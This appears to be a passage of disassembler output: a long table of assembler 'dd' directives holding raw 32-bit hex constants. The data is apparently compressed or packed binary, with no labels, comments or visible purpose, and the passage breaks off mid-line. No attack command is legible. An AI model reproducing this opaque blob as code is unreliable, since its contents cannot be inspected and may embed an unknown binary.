dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh dd 0D57756A2h, 0A328E853h dd 0EA43D00h, 0B0744301h, 0E3BF0092h, 90AD9344h, 840080F3h dd 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h, 27038C3h dd 9678732Eh, 6B1EDD00h, 201018h, 0EB7C74A7h, 0BE433D23h dd 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh, 0D2077844h dd 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h, 0CA201FF3h dd 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h, 0ACB0A943h dd 84258Ah, 5419A457h, 4D68809h, 0BA442039h, 7826DC5Ah dd 85CCC00h, 97948C9Ch, 80960041h, 14819844h, 38000988h dd 1C08119Ah, 467FE8h, 109BB802h, 29A27436h, 8F32093Eh dd 0C7A6219Ah, 0F830C458h, 0E9006C3h, 0C605111h, 87B009A0h dd 460410Eh, 7171860h, 0A13600E8h, 8C1B0C02h, 1A00DC10h dd 21CCB408h, 0EAD40984h, 3A47519h, 201F4050h, 0D8F38088h dd 23D0F0DFh, 1100A081h, 4022E34h, 0E82F7C22h, 5446004Ch dd 9C49932h, 800516Ch, 22A4913Ch, 5C2074h, 942C4457h, 0F8116489h dd 0BC026600h, 6239DC26h, 100900ACh, 52E00353h, 5A0E7933h dd 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h, 0A8086164h dd 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h dd 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h, 21F96050h dd 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h, 0BE2330h dd 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh dd 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh dd 3026295h, 4C70253Ch, 0A8D1409Ch, 50437089h, 2007657Eh dd 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h, 6DFC2212h dd 20462C00h, 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h dd 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h, 4707E817h dd 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch dd 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h, 821000Ch dd 32032480h, 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h dd 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h, 80112DBFh dd 80191B57h, 0B5413938h, 57805E5Ch, 0DEC0120h, 0A00A1D55h dd 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h, 1FC1F927h dd 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h dd 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h dd 7C006F74h, 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h dd 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h dd 1C121489h, 2C48C424h, 22349107h, 4C17443Ch, 0F81754F1h dd 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h, 0BC80E5BDh dd 5390408h, 8E641C00h, 6A236547h, 5FA83E89h, 48605403h dd 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h, 46801Ch dd 88E02363h, 38C46494h, 1FEC7200h, 306548E2h, 8C5E00F0h dd 11660423h, 100D560h, 37842A93h, 0E500D14h, 4B4A4847h dd 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah, 454104ECh dd 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh, 0AF6E5A6Dh dd 74052F00h, 17A7877h, 61200176h, 606F6965h, 9160B998h dd 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh, 0E0315132h dd 71B09840h, 9EB0FFh, 0C8101101h, 30912009h, 44312200h dd 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh, 19F3F0F2h dd 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch, 741724DEh dd 30408C48h, 0ECD444BCh, 59040288h, 34121881h, 6420FA8Eh dd 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh dd 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h, 931500F4h dd 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h, 86B8E4h dd 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h, 0F820006Ch dd 0A4225027h, 24009B03h, 41659885h, 0F95018Fh, 728409E8h dd 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h, 7CA3F003h dd 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h, 70EC09E0h dd 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch, 4A96C06h dd 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h, 0B5A89048h dd 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch, 0B35A0350h dd 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h, 6020504h dd 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch, 0A403BEBAh dd 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh, 105C030Eh dd 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h, 1A6C3616h dd 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh, 0A024B1D7h dd 0C826E488h, 7A279924h, 20192801h, 6E8954D9h, 3B003160h dd 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h, 34483E22h dd 2F6892h, 2C36317Dh, 9009937h, 0C1399032h, 1EC4023Bh dd 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh, 37714B0h dd 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h, 785DD9BEh dd 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h, 4411003Fh dd 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h dd 3652400h, 0C4793310h, 4807519h, 0DC592CB1h, 12218022h dd 422486E0h, 0D200B088h, 5C809219h, 9300053h, 3C247214h dd 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh, 442000Ch dd 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h, 65193440h dd 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh, 366AC2Ah dd 41500998h, 8DC057F7h, 0D9F82808h, 49145900h, 9FB4298Ch dd 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h, 54C1D939h dd 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h, 32BF00E0h dd 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h, 1134F8h dd 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h, 0C9083F2h dd 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h, 3FB4C841h dd 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h, 5CE090B0h dd 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h, 94B059F2h dd 70C00C84h, 2390B199h, 995AC00h, 74329CDCh, 258C0261h dd 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h, 0D7011E41h dd 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h, 1800869Eh dd 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h, 8FEC978Dh dd 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh, 9CC8B047h dd 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h, 0FA1887ADh dd 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h, 0F22202E2h dd 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h, 0A290447Eh dd 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh dd 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh dd 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h, 5B89053h dd 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h, 27B83411h dd 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h, 2430CC12h dd 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h, 3BC0897Ah dd 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh, 1226810Ch dd 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh, 0FEFEF297h dd 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h, 107DA686h dd 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h, 914E483Ah dd 6E03607Fh dd 898C8044h, 0F8AEFB9Ch, 70154C8h, 0BF08E429h, 1E11C023h dd 0AEA22C32h, 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h dd 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh dd 0C9789Dh, 0E66ECE1Eh, 1C0C6854h, 49646117h, 446DD300h dd 0F83046h, 69757243h, 617B63E4h, 0EB537E00h, 6E6F108Ch dd 0CA4C2E31h, 56170067h, 7EDA45E0h, 1895B000h, 27B6499Dh dd 7AFC0124h, 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h dd 6F960382h, 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah dd 1079E4h, 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h dd 287942B8h, 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h dd 4CE1416Eh, 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h dd 0CB726269h, 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh dd 88BA0097h, 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh dd 735200CEh, 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh dd 18144F41h, 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh dd 459403A0h, 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah dd 751B3F25h, 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah dd 0FA730032h, 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h dd 0A6686E55h, 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h dd 501A0926h, 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h dd 0D4770082h, 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h dd 90C6B864h, 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh dd 0E97E6954h, 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h dd 75CC4900h, 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h dd 3501917Dh, 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh dd 0A6024878h, 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h dd 326700F2h, 9143565Ch, 20E4D00h, 9A4F29D9h, 0C06E39A6h dd 21D41300h, 8723DB89h, 58A7A00h, 29747561h, 70B50740h dd 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h dd 7F9A0028h, 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h dd 458C02Eh, 0A525D4h, 548FCC8Ah, 542849Ah, 9100B8E8h dd 591B470Eh, 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h dd 24125628h, 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h dd 70476D75h, 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah dd 3D0A599Ch, 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h dd 0A500C571h, 0C105C91Ch, 0F9D0075h, 0C4D42873h, 42EC49C3h dd 889022EEh, 0B4745900h, 0AC62E499h, 322100F2h, 10946BF3h dd 0EA7404B1h, 1E184CECh, 0A956F5F6h, 134900B5h, 6D0ECCC7h dd 330114F2h, 5622D687h, 0E0403141h, 149738Bh, 0A85D261Dh dd 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh, 8ACB0095h dd 8B4428EAh, 91E7658h, 0FCA4D5h, 0CC6B1E84h, 73F70DAh dd 41256361h, 0F22EC097h, 5D005051h, 93C077A2h, 0F4431923h dd 219B0FE7h, 4480587Ah, 696F76FCh, 24DF3E00h, 5288369Eh dd 7E6C755Dh, 339300ECh, 29E93F26h, 0A2309C41h, 9DF4085Ch dd 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah, 53092084h, 8002574Ah dd 0E65477DCh, 12A7075Bh, 0FF825014h, 6C440580h, 0D5004967h dd 252366EDh, 38699FA0h, 9480B970h, 0A276B444h, 0D1FC426h dd 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h, 1E324693h, 8FA6C241h dd 6200CAE4h, 0D3EEA4EBh, 2658664h, 57E08A63h, 0FD80D484h dd 70412032h, 2990A605h, 41C0BAACh, 9C9BA8h, 672A3EC8h dd 1BB9D40Ch, 26240AB8h, 2B033D6Dh, 0A3144EADh, 0EA5DA895h dd 77F7958h, 3250F10Dh, 88222031h, 0B41D2CD4h, 0F3E63CA1h dd 60BC1207h, 6D804795h, 3A644Fh, 0F3EC4CA8h, 3795CD77h dd 2A1D7600h, 1268C6DEh, 4878D8h, 412C5357h, 6C42AA43h dd 7A00C4E4h, 2D9A2592h, 1849F9h, 1459A361h, 5C6521BAh dd 8E1D680Bh, 0D025000Ah, 7D6FAB26h, 981A0C7Dh, 868B1A5h dd 1FD6B701h, 2552EB7Eh, 858630h, 18547078h, 0DE6E95C4h dd 7568CE03h, 0C00948F2h, 1557B8h, 203D3251h, 0D501299Ch dd 1A55B70h, 7000F4D7h, 6E48E010h, 70801h, 2C270C30h, 3C673847h dd 0A7408700h, 0E748C744h, 0E850E44Ch, 0F062EC54h, 0F872F46Ah dd 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh dd 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh, 2E100FAh, 12C90A31h dd 0D93D1AD1h, 0E92A0022h, 0F93AF132h, 0E84AE442h, 0F05AEC52h dd 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h dd 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h, 96ACF8h, 7616740Eh dd 327781Eh, 507C487Ah, 0BF90B87Eh, 3477071Ch, 80CD9D3Ah dd 27263513h, 7E0479Ch, 55362161h, 7CD150C9h, 37000FD8h dd 9A385E1Ch, 1DB79Dh, 1ECD9EC2h, 1FDF9FD5h, 0F300E974h dd 0F390987h, 15471D27h, 0B43A6730h, 0AEC74E14h, 6E2A5C39h dd 7A8978ACh, 7E9D7C95h, 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh dd 7EE14F6h, 1700E03Ah, 2E672847h, 0A70A3687h, 0DA57C740h dd 9B14839Dh, 0C652CAh, 303B1AE1h, 0D17FC9h, 0E0BDD99Fh dd 0DC723CCFh, 3D0F1C00h, 1D2E9D15h, 409E0037h, 549F4B1Eh dd 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h, 3E79870Ah, 0A2809697h dd 143F0E61h, 0D12400C9h, 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h dd 0CF00C325h, 872083FBh, 8CC0007h, 3A309C3Bh, 1D00649Dh dd 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh, 0A603A03Ch, 324FB992h dd 0E6BC39h, 3118C3EEh, 3EFE971Eh, 5401488Eh, 73495C0Fh dd 0C492F924h, 4600CA10h, 1CFC7E0Eh, 343202h, 761D589Dh dd 8C1E869Eh, 1F949F0Eh, 87F980EEh, 3083302h, 21471827h dd 0F0017267h, 93C789A7h, 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h dd 3465E1h, 0D1ABC98Dh, 0E0BFD9B7h, 72351900h, 7627741Fh dd 6278014Ah, 3F368349h, 0D0C9C9B5h, 93000ED7h, 0A243B237h dd 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h dd 69F12FE1h, 0EF3F0h, 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h dd 93283E0Ah, 98A3036Bh, 0D3C3A1B3h, 11E0DC88h, 0AA393F00h dd 850C62D4h, 498000C8h, 12A71DCCh, 5E07C735h, 998767E7h dd 0FC1BF90h, 0C8533B31h, 0CF19ABC8h, 0D9338E74h, 7649D840h dd 7F785400h, 0DF7C947Ah, 1CF2007Eh, 9D3C3406h, 52001D4Ch dd 5E1E589Eh, 901F649Fh, 7873762Bh, 0F4915483h, 0F8BCFCB3h dd 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch, 0E76FC769h dd 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h, 3604003Ch dd 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h, 0C3146C81h dd 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h, 39BA00B3h dd 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h, 76F20074h dd 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh, 27B7398Eh dd 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h, 0AF3C051Ch dd 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h, 0E83CC024h dd 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h, 0A33A9333h dd 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh, 6093B0E4h dd 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h dd 0E40535h, 920FE80Bh, 7C2C7A74h, 3B49361Dh, 4E543F8Eh dd 0CF6B8E5Eh dd 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h dd 763B0074h, 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h dd 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh, 1E489E43h dd 87675584h, 678647B5h, 0AF96878Eh, 9F1E1FF3h, 9FB61FAEh dd 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh, 80F61FFFh, 380687FEh dd 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh, 56404ECFh dd 661A0FD6h, 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h dd 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h dd 0EFEC1F6h, 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh dd 2746CB3Eh, 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h dd 6406C8F4h, 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h dd 548E4C4Eh, 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h dd 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h dd 3EEC3FE4h, 40260F4h, 3A0C3B39h, 1C00143Ah, 2C3D243Ch dd 3F77343Eh, 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh dd 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h dd 24DC05D4h, 4E87AAE4h, 487FC20h, 195B03Ch, 671C4714h dd 602C8424h, 253CC93h, 7CFEC77Fh, 40E884E7h, 7ED492A3h dd 0CE74BC72h, 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h dd 0BB481078h, 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh dd 743F703Fh, 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h dd 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh dd 0A72CE427h, 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h dd 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h dd 3ED4FCD0h, 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h dd 0D930D12Ch, 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h dd 0AF902AADh, 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch dd 0F83093F0h, 8C99F0F7h, 130F6010h, 612501D4h, 51347882h dd 0F96890F3h, 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h dd 0C05DB003h, 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh dd 83A0431h, 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h dd 6EA7586Ch, 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h dd 0B81974B0h, 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h dd 0CA30008h, 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h dd 60E5015Ch, 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh dd 4850B43Ah, 0D22C4862h, 0E0F82400h, 48045D33h, 3C00D7ACh dd 0B2142E10h, 960E1C9Fh, 214F1720h, 60CF5C22h, 68D164C9h dd 70E16CD9h, 78F00471h, 0AB7C07CBh, 12BC8732h, 2249C0E7h dd 7C2426C8h, 0DC00D87Eh, 3974ECE6h, 4D3A1434h, 200B1018h dd 5A8E243Dh, 0FDFF2C20h, 4873029Fh, 0DE70B5A1h, 0ED78ED61h dd 0DF80F47Ch, 887E847Eh, 904AE0B8h, 0CFC0130Fh, 0CFCC8FC8h dd 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh, 782E5CE8h, 592400CCh dd 0B35C9228h, 38F47F13h, 20B88F01h, 0DA2474BAh, 78CC927Ch dd 7C8C7A88h, 98C3A090h, 0A01E0E0Fh, 0B840A4CFh, 5C61D8C9h dd 488DE458h, 0C0FDB058h, 0E4140036h, 0ED3CE834h, 44095670h dd 4F848F4h, 49D25094h, 419A4A58h, 0E2F1C688h, 0CDF8F9F9h dd 718001B2h, 56775938h, 0FC6D7158h, 4104623Bh, 6ED16A40h dd 976BEA0h, 7EF17AE9h, 2C869D61h, 818E259Fh, 582896A1h dd 0CE605065h, 3093CA6h, 1A630A02h, 0A2607083h, 0DB0092A8h dd 4A904926h, 0AD9AFD1h, 320AE0E4h, 0A748009Fh, 81331C50h dd 0F9B9D07h, 36A034B5h, 4F274Ah, 1ED35B45h, 50B0D2ABh dd 0EF007EE0h, 3A0E215Dh, 388B3B65h, 9F00A72Eh, 4B0216D8h dd 273347F2h, 0F08282E6h, 0DCC7BCh, 713905E1h, 0B5D19CC9h dd 64C2D901h, 3F8EAAEh, 0E41E3AF4h, 2B0E0058h, 704E6B3Bh dd 0CF00788Eh, 21B30BA2h, 613C7150h, 0D8A5437Fh, 5DDE302Eh dd 76B07403h, 0C3CE98EAh, 0C269C347h, 7ACD6077h, 9D7C2696h dd 0C84D0B16h, 0C0EB6084h, 72F2512h, 47780203h, 989B6787h dd 12AEFEh, 940CF188h, 30050708h, 0D824A509h, 805489E0h dd 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh, 0FB4FEC00h dd 26330A83h, 0A25F0093h, 86C6496Dh, 0F10B8EE9h, 2C8A2C9Dh dd 0ECB78E86h, 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h, 9FE51EE0h dd 0F017EBh, 3403876Fh, 2A0F2421h, 0C45385h, 0F85056A0h dd 1C960055h, 0CE4F6712h, 8272CF79h, 0B100A874h, 1A62BAC9h dd 2C640h, 9224B35h, 0A4216618h, 11360800h, 6A24CCC9h dd 3739000Bh, 3B343A19h, 58733C3Dh, 7E3E6B04h, 3880873Fh dd 707B525h, 0EBE7DD0Ah, 223850E1h, 610F2BC9h, 5D4DD95Dh dd 0F17FE940h, 3DB0F9A1h, 0FC288C24h, 0B12E2F6h, 2A3B223Ah dd 473D2580h, 1C1F6424h, 52563284h, 0EC6D8E00h, 7BF073h dd 0C0F880F4h, 0C85D9EBAh, 0D02EA000h, 4BD897A2h, 0A5E000A4h dd 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h, 10B00008h dd 0BA18B274h, 20005DB4h, 0B8282EB6h, 0F64B3097h, 0BCA50038h dd 48BED240h, 500FC0E9h, 0C058C274h, 0C6605DC4h, 0C868002Eh dd 0CA4B7097h, 0CC01A578h, 88CED280h, 5761D0E9h, 0BA98DCh dd 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h, 2EE0003Fh dd 0F867DCE8h, 3C010BEEh, 0D910DE91h, 2CFC7318h, 2EE10028h dd 0E54067E2h, 0E44CCC48h, 0B960092Dh, 97A980E6h, 0EE83378h dd 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h, 0C4F4C0F0h dd 827EFFF9h, 0AA3CD805h, 9D82E43Fh, 0EB75602Eh, 99FA00ABh dd 24E920F8h, 210B2CF1h, 8B38F9F2h, 500990ACh, 1FC4009Eh dd 8960925Ch, 4012806h, 1102214Ah, 4FF0FF3Eh, 780A0070h dd 4E5B7A57h, 0FA16095Fh, 5001A1BBh, 97C9893Fh, 0C60434h dd 0C32DAE1h, 88609020h, 300B0F00h, 48493327h, 0EA3B00D6h dd 0E8ADF2Ch, 13F68D35h, 67A8A707h, 86317247h, 9BE49187h dd 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h, 424C0B8h dd 0E4937h, 3C233BBEh, 4102672Dh, 0E74BC70Eh, 8E5F4E55h dd 73CF69h, 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h, 0F7C0D1B3h dd 382C1BF0h, 96050A27h, 8C8003C0h, 0E53A0Fh, 28798A1h dd 27CB3BBFh, 0EA47D800h, 193C9D61h, 3E560060h, 0E974B272h dd 8A003750h, 3F62E1A0h, 